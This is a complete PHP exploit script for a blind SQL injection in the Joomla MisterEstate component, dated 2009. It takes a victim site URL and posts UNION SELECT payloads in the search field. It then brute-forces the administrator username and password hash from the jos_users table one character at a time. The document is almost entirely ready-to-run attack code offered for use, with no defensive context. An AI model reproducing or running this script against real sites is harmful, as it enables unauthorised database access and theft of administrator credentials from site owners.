Joomla MisterEstate SQL Injection

`<?php  
  
echo '<h2>Joomla Component MisterEstate Blind SQL Injection Exploit</h2>';  
  
// http://www.misterestate.com/  
  
ini_set( "memory_limit", "512M" );  
  
ini_set( "max_execution_time", 0 );  
  
set_time_limit( 0 );  
  
if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );  
  
$url = "http://".$_GET['url']."/index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component";  
  
$data = array();  
  
$data['src_cat'] = 0;  
  
$data['country'] = 'no';  
  
$data['state'] = 'no';  
  
$data['town'] = 'no';  
  
$data['district'] = 'no';  
  
$data['mesearch'] = 'Start Search';  
  
$admin = '';  
  
$output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 ORDER BY id ASC LIMIT 1 -- '" );  
  
if( !testData( $output ) ) die('failed');  
  
echo '<br />Check passed... trying exploit...<br /><br />';  
  
  
  
for( $i=0;$i<250;$i++ )  
  
{  
  
for( $j=48; $j<126; $j++ )  
  
{  
  
$output = getData( "1%') AND 1=2 UNION SELECT id FROM jos_users WHERE gid=25 AND ASCII(SUBSTRING(CONCAT(username,0x3a,password),$i,1)) = $j ORDER BY id ASC LIMIT 1 -- '" );  
  
if( testData( $output ) )  
  
{  
  
ob_end_clean();  
  
$admin .= chr( $j );  
  
echo "Found character $i : buffer is now $admin<br />";  
  
}  
  
ob_end_clean();  
  
}  
  
}  
  
echo "<h3>All done!</h3>";  
  
echo "<h4>$admin</h4>";  
  
function shutUp( $buffer ) { return false; }  
  
function testData( $output )  
  
{  
  
/* feel free to add other translations as needed */  
  
$reg = array( '/Your\ search\ produced\ 1\ hits/', '/Su\ busqueda\ ha\ encontrado\ 1\ aciertos/' );  
  
foreach( $reg as $r )  
  
if( preg_match( $r, $output ) )  
  
return TRUE;  
  
return FALSE;  
  
}  
  
function getData( $string )  
  
{  
  
global $data, $url;  
  
$data['searchstring'] = $string;  
  
ob_start( "shutUp" );  
  
$ch = curl_init();  
  
curl_setopt( $ch, CURL_TIMEOUT, 120 );  
  
curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );  
  
curl_setopt( $ch, CURLOPT_URL, $url );  
  
if( count( $data ) > 0 )  
  
{  
  
curl_setopt( $ch, CURLOPT_POST, count( $data ) );  
  
curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );  
  
}  
  
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );  
  
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );  
  
$result = curl_exec( $ch );  
  
curl_close( $ch );  
  
return ob_get_contents();  
  
}  
  
/* jdc 2009 */  
  
`